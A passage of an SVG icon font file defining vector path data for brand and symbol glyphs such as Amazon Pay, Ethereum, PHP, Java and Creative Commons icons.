c-12.5 1.89941 -24.8994 0.899414 -37.2002 -1.40039c-7.89941 -1.5 -15.6992 -3.7002 -23.5 -5.7002c-4.69922 -1.19922 -6.69922 0.100586 -6.7998 4.90039c-0.0996094 3.2998 0.100586 6.59961 0 9.90039c-0.0996094 3.89941 1.7002 6.5 5.2998 7.69922
c5.90039 2 11.8008 4.2002 17.9004 5.80078c7.86426 1.92188 20.8115 3.75879 28.9004 4.09961c0.899414 0.0996094 1.89941 0.299805 2.89941 0.400391zM365.3 255.2c-0.0996094 4.7002 0.100586 9.2998 0.100586 14.0996s-0.100586 9.5 0 14.2998
c0 1.60059 -0.5 2.40039 -2.10059 2.60059c-8.39941 1.09961 -16.5996 2.7002 -25 3.39941c-1.95117 0.227539 -5.12891 0.412109 -7.09375 0.412109c-4.99316 0 -12.9258 -1.16992 -17.7061 -2.61133c-8 -2.60059 -13.9004 -7.30078 -16.4004 -15.6006
c-0.779297 -2.57422 -1.41211 -6.84766 -1.41211 -9.53809c0 -2.78613 0.677734 -7.2041 1.5127 -9.86133c1.55762 -5.40918 7.11328 -11.3672 12.3994 -13.3008c5.40039 -2.19922 11.1006 -2.39941 16.8008 -1.7998c13.8994 1.40039 26.1992 6.7998 37.3994 14.9004
c0.832031 0.543945 1.50684 1.79199 1.50684 2.78613c0 0.0595703 -0.00292969 0.155273 -0.00683594 0.213867zM625.2 125.8v-17.2998c-0.700195 -3.59961 -1.2998 -7.2998 -2.10059 -10.9004c-4.39941 -20.2998 -11.8994 -39.1992 -24.6992 -55.5996
c-3.27148 -3.9209 -8.96094 -9.92383 -12.7002 -13.4004c-1.1416 -1.04102 -3.29199 -2.16113 -4.7998 -2.5c-2.90039 -0.699219 -4.60059 1.2002 -4.10059 4.10059c0.201172 0.852539 0.649414 2.19629 1 3c5.7998 14.7998 11.7002 29.7002 15.7998 45.0996
c2.10059 7.60059 3.90039 15.2998 3.5 23.2998c-0.199219 5.2002 -2.5 9 -7.59961 10.4004c-3.89746 1.15332 -10.3486 2.36328 -14.4004 2.7002c-11.3994 0.899414 -22.8994 0.200195 -34.2998 -0.900391c-7.7998 -0.799805 -15.5 -1.7002 -23.2998 -2.5
c-0.504883 -0.0576172 -1.32617 -0.103516 -1.83398 -0.103516c-0.100586 0 -0.264648 0.000976562 -0.366211 0.00390625c-1.5 -0.100586 -3.2002 0.299805 -3.59961 1.7998c-0.111328 0.383789 -0.201172 1.01855 -0.201172 1.41797
c0 0.764648 0.314453 1.92188 0.701172 2.58203c0.838867 1.1582 2.49609 2.72656 3.7002 3.5c12.0996 8.2998 25.6992 12.9004 40 15.5996c7.29883 1.34375 19.2461 2.43457 26.668 2.43457c3.46484 0 9.0791 -0.239258 12.5312 -0.53418
c5.92773 -0.371094 15.335 -2.11816 21 -3.90039c4.30078 -1.39941 8.10059 -3.2998 9.10059 -8.2998zM493.1 249c0.300781 -0.700195 0.501953 -1.2998 0.902344 -2.40039c2.59961 7.7002 5.2002 15 7.7002 22.2002l34.7998 100
c0.5 1.40039 1.09961 2.7002 1.59961 4.10059c0.932617 2.87988 4.14648 5.21777 7.17383 5.21777c0.145508 0 0.381836 -0.0078125 0.526367 -0.0185547c6.60059 0 13.2998 0.100586 19.9004 0c2.7998 0 4.09961 -1.59961 3.7002 -4.39941
c-0.277344 -1.56641 -0.994141 -4.03027 -1.60059 -5.5c-23.3662 -59.9336 -46.8994 -119.801 -70.5996 -179.601c-2.1416 -5.27734 -6.2627 -13.5205 -9.2002 -18.3994c-8.7998 -14.9004 -22.4004 -21.7998 -39.5 -21.4004c-4.70801 0.18457 -12.2793 1.08008 -16.9004 2
c-5.39941 0.900391 -7.2998 3.40039 -7.39941 8.90039c-0.100586 3.2666 -0.100586 6.56641 0 9.89941c0.0996094 3.5 1.7998 5 5.2002 4.80078c2.5 -0.200195 5 -0.800781 7.5 -1c1.30664 -0.148438 3.43359 -0.268555 4.74902 -0.268555
c2.98828 0 7.75977 0.612305 10.6504 1.36816c7.2002 1.90039 12.2002 6.7998 15.2002 13.2998c3.40039 7.2998 6 15 9.2998 22.2998c1.90039 4.2002 1.5 7.7002 -0.200195 11.8008c-19.7998 48.5 -39.5 97 -59.1006 145.5
c-0.649414 1.64453 -1.50098 4.37695 -1.90039 6.09961c-0.5 2.5 0.700195 4.5 3.2002 4.5c7.7002 0.0996094 15.2998 0 22.9004 -0.0996094c3.2002 0 5.2998 -1.90039 6.39941 -4.80078c2.10059 -5.59961 4.30078 -11.1992 6.30078 -16.8994
c12.8994 -35.7666 25.7988 -71.5 38.6982 -107.2z" />
    <glyph glyph-name="cc-amazon-pay" unicode="&#xf42d;" horiz-adv-x="576" 
d="M124.7 246.2c0.0996094 11.7998 0 23.5 0 35.2998v35.2998c0 1.2998 0.399414 2 1.39941 2.7002c11.5 8 24.1006 12.0996 38.2002 11.0996c12.5 -0.899414 22.7002 -7 28.1006 -21.6992c3.2998 -8.90039 4.09961 -18.2002 4.09961 -27.7002
c0 -8.7002 -0.700195 -17.2998 -3.40039 -25.6006c-5.69922 -17.7998 -18.6992 -24.6992 -35.6992 -23.8994c-11.7002 0.5 -21.9004 5 -31.4004 11.7002c-0.900391 0.799805 -1.40039 1.59961 -1.2998 2.7998zM279.6 231.6c-5.19922 2 -8.7998 5.7002 -10.3994 11.2002
c-1.7002 5.40039 -1.7002 10.7998 -0.100586 16.2002c2 6.90039 7 10.9004 13.7002 13.0996c6.7998 2.2002 13.7998 2.5 20.7998 1.90039c7 -0.700195 13.9004 -2 20.9004 -2.90039c1.40039 -0.199219 1.7998 -0.799805 1.7998 -2.19922c-0.0996094 -4 0 -8 0 -12
c0 -3.90039 -0.0996094 -7.90039 0 -11.8008c0 -1.19922 -0.399414 -1.89941 -1.2998 -2.5c-9.40039 -6.7998 -19.7002 -11.2998 -31.2998 -12.5c-4.7998 -0.5 -9.5 -0.299805 -14.1006 1.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352
c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM368.5 344.1c0.400391 -1.69922 0.900391 -3.39941 1.59961 -5.09961c16.5 -40.5996 32.9004 -81.2998 49.5 -121.9c1.40039 -3.5 1.7002 -6.39941 0.200195 -9.89941
c-2.7998 -6.2002 -4.89941 -12.6006 -7.7998 -18.7002c-2.59961 -5.5 -6.7002 -9.5 -12.7002 -11.2002c-4.2002 -1.09961 -8.5 -1.2998 -12.8994 -0.899414c-2.10059 0.199219 -4.2002 0.699219 -6.30078 0.799805c-2.7998 0.200195 -4.19922 -1.10059 -4.2998 -4
c-0.0996094 -2.7998 -0.0996094 -5.60059 0 -8.2998c0.100586 -4.60059 1.60059 -6.7002 6.2002 -7.5c4.7002 -0.800781 9.40039 -1.60059 14.2002 -1.7002c14.2998 -0.299805 25.7002 5.39941 33.0996 17.8994c2.90039 4.90039 5.60059 10.1006 7.7002 15.4004
c19.7998 50.0996 39.5 100.3 59.2002 150.5c0.599609 1.5 1.09961 3 1.2998 4.59961c0.400391 2.40039 -0.700195 3.60059 -3.09961 3.7002c-5.60059 0.100586 -11.1006 0 -16.7002 0c-3.10059 0 -5.2998 -1.39941 -6.40039 -4.2998
c-0.399414 -1.09961 -0.899414 -2.2998 -1.2998 -3.40039l-29.0996 -83.6992c-2.10059 -6.10059 -4.2002 -12.1006 -6.5 -18.6006c-0.400391 0.900391 -0.600586 1.40039 -0.800781 1.90039c-10.7998 29.8994 -21.5996 59.8994 -32.3994 89.7998
c-1.7002 4.7002 -3.5 9.5 -5.2998 14.2002c-0.900391 2.5 -2.7002 4 -5.40039 4c-6.40039 0.0996094 -12.7998 0.200195 -19.2002 0.0996094c-2.2002 0 -3.2998 -1.59961 -2.7998 -3.7002zM242.4 242c1.69922 -11.7002 7.59961 -20.7998 18 -26.5996
c9.89941 -5.5 20.6992 -6.2002 31.6992 -4.60059c12.7002 1.90039 23.9004 7.2998 33.8008 15.5c0.399414 0.299805 0.799805 0.600586 1.39941 1c0.5 -3.2002 0.900391 -6.2002 1.5 -9.2002c0.5 -2.59961 2.10059 -4.2998 4.5 -4.39941
c4.60059 -0.100586 9.10059 -0.100586 13.7002 0c2.2998 0.0996094 3.7998 1.59961 4 3.89941c0.0996094 0.800781 0.0996094 1.60059 0.0996094 2.30078v88.7998c0 3.59961 -0.199219 7.2002 -0.699219 10.7998c-1.60059 10.7998 -6.2002 19.7002 -15.9004 25.4004
c-5.59961 3.2998 -11.7998 5 -18.2002 5.89941c-3 0.400391 -6 0.700195 -9.09961 1.10059h-10c-0.799805 -0.100586 -1.60059 -0.300781 -2.5 -0.300781c-8.2002 -0.399414 -16.2998 -1.39941 -24.2002 -3.5c-5.09961 -1.2998 -10 -3.19922 -15 -4.89941
c-3 -1 -4.5 -3.2002 -4.40039 -6.5c0.100586 -2.7998 -0.0996094 -5.60059 0 -8.2998c0.100586 -4.10059 1.80078 -5.2002 5.7002 -4.10059c6.5 1.7002 13.1006 3.5 19.7002 4.7998c10.2998 1.90039 20.7002 2.7002 31.0996 1.2002
c5.40039 -0.799805 10.5 -2.39941 14.1006 -7c3.09961 -4 4.2002 -8.7998 4.39941 -13.7002c0.300781 -6.89941 0.200195 -13.8994 0.300781 -20.7998c0 -0.399414 -0.100586 -0.700195 -0.200195 -1.2002c-0.400391 0 -0.799805 0 -1.10059 0.100586
c-8.7998 2.09961 -17.6992 3.59961 -26.7998 4.09961c-9.5 0.5 -18.8994 -0.0996094 -27.8994 -3.2002c-10.8008 -3.7998 -19.5 -10.2998 -24.6006 -20.7998c-4.09961 -8.2998 -4.59961 -17 -3.39941 -25.7998zM98.7002 341.1v-175.3c0 -0.799805 0 -1.7002 0.0996094 -2.5
c0.200195 -2.5 1.7002 -4.09961 4.10059 -4.2002c5.89941 -0.0996094 11.7998 -0.0996094 17.6992 0c2.5 0 4 1.7002 4.10059 4.10059c0.0996094 0.799805 0.0996094 1.7002 0.0996094 2.5v60.7002c0.900391 -0.700195 1.40039 -1.2002 1.90039 -1.60059
c15 -12.5 32.2002 -16.5996 51.0996 -12.8994c17.1006 3.39941 28.9004 13.8994 36.7002 29.1992c5.7998 11.6006 8.2998 24.1006 8.7002 37c0.5 14.3008 -1 28.4004 -6.7998 41.7002c-7.10059 16.4004 -18.9004 27.2998 -36.7002 30.9004
c-2.7002 0.599609 -5.5 0.799805 -8.2002 1.2002h-7c-1.2002 -0.200195 -2.40039 -0.300781 -3.59961 -0.5c-11.7002 -1.40039 -22.3008 -5.80078 -31.8008 -12.7002c-2 -1.40039 -3.89941 -3 -5.89941 -4.5c-0.100586 0.5 -0.299805 0.799805 -0.400391 1.2002
c-0.399414 2.2998 -0.700195 4.59961 -1.09961 6.89941c-0.600586 3.90039 -2.5 5.5 -6.40039 5.60059h-9.7002c-5.89941 0.0996094 -6.89941 -1 -6.89941 -6.80078zM493.6 109c-2.69922 0.700195 -5.09961 0 -7.59961 -1c-43.9004 -18.4004 -89.5 -30.2002 -136.8 -35.7998
c-14.5 -1.7002 -29.1006 -2.7998 -43.7002 -3.2002c-26.5996 -0.700195 -53.2002 0.799805 -79.5996 4.2998c-17.8008 2.40039 -35.5 5.7002 -53 9.90039c-37 8.89941 -72.7002 21.7002 -106.7 38.7998c-8.7998 4.40039 -17.4004 9.2998 -26.1006 14
c-3.7998 2.09961 -6.19922 1.5 -8.19922 -2.09961v-1.7002c1.19922 -1.60059 2.19922 -3.40039 3.69922 -4.7998c36 -32.2002 76.6006 -56.5 122 -72.9004c21.9004 -7.90039 44.4004 -13.7002 67.3008 -17.5c14 -2.2998 28 -3.7998 42.1992 -4.5
c3 -0.0996094 6 -0.200195 9 -0.400391c0.700195 0 1.40039 -0.199219 2.10059 -0.299805h17.7002c0.699219 0.100586 1.39941 0.299805 2.09961 0.299805c14.9004 0.400391 29.7998 1.80078 44.5996 4c21.4004 3.2002 42.4004 8.10059 62.9004 14.7002
c29.5996 9.60059 57.7002 22.4004 83.4004 40.1006c2.7998 1.89941 5.69922 3.7998 8 6.19922c4.2998 4.40039 2.2998 10.4004 -3.30078 11.9004zM544 136.7c-0.799805 4.2002 -4 5.7998 -7.59961 7c-5.7002 1.89941 -11.6006 2.7998 -17.6006 3.2998
c-11 0.900391 -22 0.400391 -32.7998 -1.59961c-12 -2.2002 -23.4004 -6.10059 -33.5 -13.1006c-1.2002 -0.799805 -2.40039 -1.7998 -3.09961 -3c-0.600586 -0.899414 -0.700195 -2.2998 -0.5 -3.39941c0.299805 -1.30078 1.69922 -1.60059 3 -1.5
c0.599609 0 1.19922 0 1.7998 0.0996094l19.5 2.09961c9.59961 0.900391 19.2002 1.5 28.7998 0.800781c4.09961 -0.300781 8.09961 -1.2002 12 -2.2002c4.2998 -1.10059 6.2002 -4.40039 6.40039 -8.7002c0.299805 -6.7002 -1.2002 -13.0996 -2.90039 -19.5
c-3.5 -12.9004 -8.2998 -25.4004 -13.2998 -37.7998c-0.299805 -0.799805 -0.700195 -1.7002 -0.799805 -2.5c-0.400391 -2.5 1 -4 3.39941 -3.5c1.40039 0.299805 3 1.09961 4 2.09961c3.7002 3.60059 7.5 7.2002 10.6006 11.2002
c10.6992 13.7998 17 29.5996 20.6992 46.5996c0.700195 3 1.2002 6.10059 1.7002 9.10059c0.200195 4.7002 0.200195 9.59961 0.200195 14.5z" />
    <glyph glyph-name="ethereum" unicode="&#xf42e;" horiz-adv-x="320" 
d="M311.9 187.2l-151.9 -92.7998l-152 92.7998l152 260.8zM160 64.5996l152 92.8008l-152 -221.4l-152 221.4z" />
    <glyph glyph-name="korvue" unicode="&#xf42f;" horiz-adv-x="446" 
d="M386.5 414c32.7002 0 59.5 -26.7998 59.5996 -59.5v-327c0 -32.7002 -26.5 -59.5 -59.5 -59.5h-327.1c-32.7002 0 -59.5 26.7998 -59.5 59.4004v327.1c0 32.7002 26.7998 59.5 59.5 59.5h327zM87.0996 327.2v-132h187.5l81.2002 132h-110.899l-61.8008 -116v116h-96z
M248.9 55.0996h118.399l-88.5996 130.801h-191.5v-130.801h96v113.601z" />
    <glyph glyph-name="elementor" unicode="&#xf430;" 
d="M425.6 416c12.4004 0 22.4004 -10 22.4004 -22.4004v-403.199c0 -12.4004 -10 -22.4004 -22.4004 -22.4004h-403.199c-12.4004 0 -22.4004 10 -22.4004 22.4004v403.199c0 12.4004 10 22.4004 22.4004 22.4004h403.199zM164.3 92.5v199h-39.7998v-199h39.7998z
M323.6 92.5v39.7998h-119.5v-39.7998h119.5zM323.6 172.1v39.8008h-119.5v-39.8008h119.5zM323.6 251.8v39.7998h-119.5v-39.7998h119.5z" />
    <glyph glyph-name="youtube-square" unicode="&#xf431;" 
d="M186.8 245.9l95.2002 -54.1006l-95.2002 -54.0996v108.2zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM406 191.7c0 0 0 59.5996 -7.59961 88.2002
c-4.2002 15.7998 -16.5 28.1992 -32.2002 32.3994c-28.2998 7.7002 -142.2 7.7002 -142.2 7.7002s-113.9 0 -142.2 -7.7002c-15.7002 -4.2002 -28 -16.5996 -32.2002 -32.3994c-7.59961 -28.5 -7.59961 -88.2002 -7.59961 -88.2002s0 -59.6006 7.59961 -88.2002
c4.2002 -15.7998 16.5 -27.7002 32.2002 -31.9004c28.2998 -7.59961 142.2 -7.59961 142.2 -7.59961s113.9 0 142.2 7.7002c15.7002 4.2002 28 16.0996 32.2002 31.8994c7.59961 28.5 7.59961 88.1006 7.59961 88.1006z" />
    <glyph glyph-name="flipboard" unicode="&#xf44d;" 
d="M0 416h448v-448h-448v448zM358.4 236.8v89.6006h-268.801v-268.801h89.6006v89.6006h89.5996v89.5996h89.6006z" />
    <glyph glyph-name="hips" unicode="&#xf452;" horiz-adv-x="640" 
d="M251.6 290.4v-201.801c0 -1.89941 -0.899414 -2.7998 -2.7998 -2.7998h-40.8994c-1.60059 0 -2.7002 1.40039 -2.7002 2.7998v201.801c0 1.39941 1.09961 2.7998 2.7002 2.7998h40.8994c1.90039 0 2.7998 -0.900391 2.7998 -2.7998zM156.5 280
c18.7002 -13.5 28 -31.9004 28 -55.2998v-136.101c0 -1.89941 -0.900391 -2.7998 -2.7002 -2.7998h-27.2998c-9.09961 0 -16.4004 7.2998 -16.4004 16.2998v122.601c0 0.899414 2.7002 27 -45.7998 27c-48.5996 0 -45.7998 -26.2002 -45.7998 -27v-136.101
c0 -1.89941 -0.900391 -2.7998 -2.7998 -2.7998h-41c-1.7998 0 -2.7002 0.900391 -2.7002 2.7998v279.2c0 1.7998 0.900391 2.7002 2.7002 2.7002h40.8994c1.90039 0 2.80078 -0.900391 2.80078 -2.7002v-81.2002c15.1992 7.7002 31.6992 11.5 49.7998 11.4004
c24 -0.0996094 44.2002 -6.2002 60.2998 -18zM634.9 169.9c5.5 -12.6006 6.59961 -25.6006 3.09961 -39.1006c-9.59961 -36.8994 -44.9004 -45.5 -45.5996 -45.7998c-10.5 -3.09961 -23.6006 -4.2998 -36.3008 -4.2998c-16.5996 0 -32.5996 2.7002 -48.1992 8.2002
c-9.7002 3.39941 -14.6006 10.2998 -14.6006 20.6992v34.4004c0 2.09961 2.2998 3.7002 4.40039 2.2998c13.7002 -10.2002 34.0996 -19.0996 58.3994 -19.0996c23.3008 0 32.8008 4.5 36.5 13.5996c3 7.90039 -0.599609 16.1006 -12.1992 21.2002l-53.6006 23.5
c-21.3994 9.40039 -33.7998 24 -37.2002 43.5996c-5.69922 33.7002 22.2002 53.3008 22.7002 53.7002c13.2002 9.60059 32 15.4004 58.5 15.4004c19 0 37.4004 -3.2998 55.1006 -9.90039c1.2998 -0.5 1.89941 -1.2998 1.89941 -2.59961v-44.7002
c0 -2.09961 -2.2998 -3.40039 -4 -2.40039c-39.7002 20.7002 -76.5996 12.3008 -84 6.80078c-6.59961 -4.90039 -6 -12.5 2.60059 -16.1006l57.5996 -25.2998c16.5 -7.09961 28.0996 -18.4004 34.9004 -34.0996zM376.2 298.2c60.3994 0 108.7 -48.2998 108.6 -108.601
c0 -60.1992 -48.2002 -108.699 -108.7 -108.699c-21.8994 0 -41.1992 6.39941 -57.6992 19.0996v-88.7998c0 -1.7998 -0.900391 -2.7002 -2.80078 -2.7002h-40.8994c-2.10059 0 -2.7002 1.90039 -2.7002 2.7002v183.5c0 83.3994 72.5 103.5 104.2 103.5zM376.2 127.3
c34.8994 0 62.2998 27.9004 62.2002 62.2002c0 34.5996 -27.7002 62.2002 -62.2002 62.2002c-34.6006 0 -62.2002 -27.7002 -62.2002 -62.2002c0 -17.2002 6 -31.7998 18.2002 -44c12.0996 -12.0996 26.7998 -18.2002 44 -18.2002zM228.3 375.5
c15.9004 0 28.9004 -12.7002 28.9004 -28.9004c0 -15.7998 -12.7002 -28.8994 -28.9004 -28.8994s-28.8994 13.2998 -28.8994 28.8994c0.0996094 16 13 28.9004 28.8994 28.9004z" />
    <glyph glyph-name="php" unicode="&#xf457;" horiz-adv-x="640" 
d="M320 343.5c-171.3 0 -303.2 -72.2002 -303.2 -151.5s131.8 -151.5 303.2 -151.5c171.3 0 303.2 72.2002 303.2 151.5s-131.8 151.5 -303.2 151.5zM320 360.3c176.7 0 320 -75.2998 320 -168.3s-143.3 -168.3 -320 -168.3s-320 75.2998 -320 168.3s143.3 168.3 320 168.3z
M218.2 205.5c7.39941 38.4004 -18.4004 34.2998 -56.4004 34.2998l-13.7002 -70.5996c34.3008 0 62.2002 -4.2002 70.1006 36.2998zM97.4004 97.7002l32.6992 168.7h70.7002c21.2002 0 36.7998 -5.5 46.5 -16.7002c18.6006 -21.4004 11.7998 -64.1006 -14.2998 -88.1006
c-23.5996 -22.0996 -49.0996 -19.0996 -90.2002 -19.0996l-8.7002 -44.7998h-36.6992zM283.1 311.3h36.5l-8.69922 -44.7998c31.5 0 60.6992 2.2998 74.7998 -10.7002c14.7998 -13.5996 7.7002 -31 -8.2998 -113.1h-37c15.3994 79.3994 18.2998 86 12.6992 92
c-5.39941 5.7998 -17.6992 4.59961 -47.3994 4.59961l-18.7998 -96.5996h-36.5zM505 205.5c7.40039 38.4004 -18.2002 34.2998 -56.4004 34.2998l-13.6992 -70.5996c33.3994 0 62.0996 -4.7998 70.0996 36.2998zM384.2 97.7002l32.7998 168.7h70.7002
c21.2002 0 36.7998 -5.5 46.5 -16.7002c18.5996 -21.4004 11.7998 -64.1006 -14.2998 -88.1006c-23.1006 -21.5996 -47 -19.0996 -90.2002 -19.0996l-8.7002 -44.7998h-36.7998z" />
    <glyph glyph-name="quinscape" unicode="&#xf459;" horiz-adv-x="512" 
d="M313.6 -26.5996c4.40039 -4.40039 8.10059 -9 13.3008 -12.5c-18.5029 -5.58008 -49.2031 -10.1074 -68.5283 -10.1074c-0.516602 0 -1.35547 0.00292969 -1.87207 0.00683594c-135 0 -244.5 109.5 -244.5 244.601c0 135.1 109.4 244.6 244.5 244.6
s244.6 -109.5 244.6 -244.6c0 -35.3008 -6.89941 -67.4004 -20.2998 -97.7002c-3 5.7002 -7.2002 10.2002 -11.2002 15.2998c11.2002 93.5 -62.0996 176.6 -157 176.6c-87.2705 0 -158.1 -70.8281 -158.1 -158.1s70.8291 -158.1 158.1 -158.1h1zM313.5 -26.5
l0.400391 -0.0996094zM391.9 142.4c54.7471 0 99.1992 -44.4326 99.1992 -99.1807v-0.0195312c0 -54.7588 -44.4414 -99.2002 -99.1992 -99.2002c-54.7588 0 -99.2002 44.4414 -99.2002 99.2002c0 54.7578 44.4414 99.2002 99.2002 99.2002z" />
    <glyph glyph-name="readme" unicode="&#xf4d5;" horiz-adv-x="576" 
d="M528.3 401.5c26.4004 -0.200195 47.7002 -21.7002 47.7002 -48.0996v-245.7c0 -26.5 -21.5 -48 -48 -48h-89.7002c-102.1 0 -132.6 -24.4004 -147.3 -75c-0.799805 -2.7998 -5.2998 -2.7998 -6 0c-14.5996 50.5996 -45.0996 75 -147.3 75h-89.7002
c-26.5 0 -48 21.5 -48 48v245.8c0 26.5 21.5 48 48 48h139.7c48.0996 0 89.7998 -33.2998 100.399 -80.2998c10.5 47 52.3008 80.2998 100.4 80.2998h139.8zM242 136.1h0.0996094v22.9004c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.9004
c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.60059 3.5 3.5zM242 197h0.0996094v22.9004c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.60059 -3.5 -3.5v-22.9004c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM242 257.9h0.0996094v22.8994
c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.8994c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM501.3 136.2h0.100586v22.8994c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.8994
c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM501.3 197.1h0.100586v22.9004c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.9004c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.60059 3.5 3.5zM501.3 258h0.100586v22.7998
c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.7998c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5z" />
    <glyph glyph-name="java" unicode="&#xf4e4;" horiz-adv-x="384" 
d="M277.74 135.1c-94.5 -24.8994 -277 -13.2998 -224.5 12.1006c44.5 21.3994 80.5996 19 80.5996 19s-93.0996 -22.1006 -33 -30.1006c25.4004 -3.39941 76 -2.59961 123.101 1.30078c38.5 3.19922 77.1992 10.1992 77.1992 10.1992s-13.5996 -5.7998 -23.3994 -12.5z
M192.34 167.2c-48.5 43.7998 -84.0996 82.2998 -60.2002 118.2c35.1006 52.5 132.2 78.0996 110.7 162.6c0 0 53.1602 -53.2002 -50.5 -135c-83.0996 -65.5996 -19 -103.1 0 -145.8zM306.94 343.4c-111.601 -64.7002 -91 -83.5 -64.1006 -121.301
c28.7998 -40.5 -33.8994 -72.8994 -33.8994 -72.8994s31.1992 25.5996 6.5 54c-83.7002 96.3994 91.5996 140.2 91.5 140.2zM300.84 72.9004c96.1006 49.8994 51.6006 97.8994 20.6006 91.3994c-3.10352 -0.581055 -8.03125 -1.92578 -11 -3
c1.71973 2.44629 5.39258 5.26855 8.19922 6.2998c61.3008 21.6006 108.5 -63.5996 -19.7998 -97.2998c0.649414 0.642578 1.5459 1.80762 2 2.60059zM348 10.5996c53 -23.8994 -115.16 -72 -319.4 -38.7998c-74.8994 12.1006 36.1006 54.5 56.4004 40.2002
c0 0 -6.5 0.400391 -17.7002 -2c-10.7998 -2.2998 -45.0996 -13.4004 -26.7998 -21.2998c50.7998 -22.1006 233.7 -16.7998 291.6 0.700195c30.4004 9.2998 15.9004 21.1992 15.9004 21.1992zM124.44 52c0 0 -19.6006 -11.4004 13.8994 -15.2002
c40.6006 -4.59961 61.2998 -4 106 4.5c7.46094 -4.46777 20.0938 -10.6504 28.2002 -13.7998c-100.2 -42.9004 -226.8 2.5 -148.1 24.5zM304.24 -45.2002c69.7998 13.2002 76.2002 29.7002 76.2002 29.7002c-3.30078 -43.5996 -144.9 -52.7998 -237.101 -46.9004
c-60.5996 3.90039 -72.3994 13.7002 -72.3994 13.6006c57.5 -9.5 154.6 -11.2002 233.3 3.59961zM260.64 95c5.08594 -4.74902 14.5391 -10.4834 21.1006 -12.7998c-121.3 -35.5 -256.3 -2.90039 -169.5 25.8994c0 0 -21.9004 -16.1992 11.5996 -19.6992
c43.2998 -4.5 77.6006 -4.80078 136.8 6.59961z" />
    <glyph glyph-name="pied-piper-hat" unicode="&#xf4e5;" horiz-adv-x="640" 
d="M640 423.1c-80.7998 -53.5996 -89.4004 -92.5 -96.4004 -104.399c-6.69922 -12.2002 -11.6992 -60.2998 -23.2998 -83.6006c-11.7002 -23.5996 -54.2002 -42.1992 -66.0996 -50c-11.7002 -7.7998 -28.2998 -38.0996 -41.9004 -64.1992
c-108.1 4.39941 -167.399 -38.8008 -259.2 -93.6006c29.4004 9.7002 43.3008 16.7002 43.3008 16.7002c94.1992 36 139.3 68.2998 281.1 49.2002c1.09961 0 1.90039 -0.600586 2.7998 -0.799805c3.90039 -2.2002 5.2998 -6.90039 3.10059 -10.8008l-53.9004 -95.7998
c-2.5 -4.7002 -7.7998 -7.2002 -13.0996 -6.09961c-126.801 23.7998 -226.9 -17.2998 -318.9 -18.6006c-73.4004 -1.09961 -97.5 33.5 -97.5 35.1006c0 1.09961 0.599609 1.7002 1.7002 1.7002c0 0 38.2998 0 103.1 15.2998c73.6006 140.3 139.2 189.399 210.601 189.399
c0 0 71.6992 0 90.5996 -61.8994c22.7998 39.7002 28.2998 49.2002 28.2998 49.2002c5.2998 9.39941 35 77.1992 86.4004 141.399c51.5 64 90.3994 79.9004 119.3 91.7998z" />
    <glyph glyph-name="creative-commons-by" unicode="&#xf4e7;" horiz-adv-x="496" 
d="M314.9 253.6v-101.399h-28.3008v-120.5h-77.0996v120.399h-28.2998v101.5c0 4.40039 1.59961 8.2002 4.59961 11.3008c3.10059 3.09961 6.90039 4.69922 11.2998 4.69922h101.9c4.09961 0 7.7998 -1.59961 11.0996 -4.69922
c3.10059 -3.2002 4.80078 -6.90039 4.80078 -11.3008zM213.4 317.3c0 23.2998 11.5 35 34.5 35s34.5 -11.7002 34.5 -35c0 -23 -11.5 -34.5 -34.5 -34.5s-34.5 11.5 -34.5 34.5zM247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248
c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3z" />
    <glyph glyph-name="creative-commons-nc" unicode="&#xf4e8;" horiz-adv-x="496" 
d="M247.6 440c139.801 0 248.4 -107.9 248.4 -248c0 -147.2 -118.5 -248 -248.4 -248c-134.5 0 -247.6 110.8 -247.6 248c0 132.9 104.7 248 247.6 248zM55.7998 258.9c-7.39941 -20.4004 -11.0996 -42.7002 -11.0996 -66.9004c0 -110.9 92.0996 -202.4 203.7 -202.4
c122.399 0 177.199 101.801 178.5 104.101l-93.4004 41.5996c-7.7002 -37.0996 -41.2002 -53 -68.2002 -55.3994v-38.1006h-28.7998v38.2002c-27.5 0.299805 -52.5996 10.2002 -75.2998 29.7002l34.0996 34.5c31.7002 -29.4004 86.4004 -31.7998 86.4004 2.2002
c0 6.19922 -2.2002 11.1992 -6.60059 15.0996c-14.1992 6 -1.7998 0.0996094 -219.3 97.4004zM248.4 395.7c-38.4004 0 -112.4 -8.7002 -170.5 -93l94.7998 -42.5c10 31.2998 40.3994 42.8994 63.7998 44.2998v38.0996h28.7998v-38.0996
c22.7002 -1.2002 43.4004 -8.90039 62 -23l-32.2998 -33.2002c-42.7002 29.9004 -83.5 8 -70 -11.0996c53.4004 -24.1006 43.7998 -19.7998 93 -41.6006l127.1 -56.6992c4.10059 17.3994 6.2002 35.0996 6.2002 53.0996c0 57 -19.7998 105 -59.2998 143.9
c-39.2998 39.8994 -87.2002 59.7998 -143.6 59.7998z" />
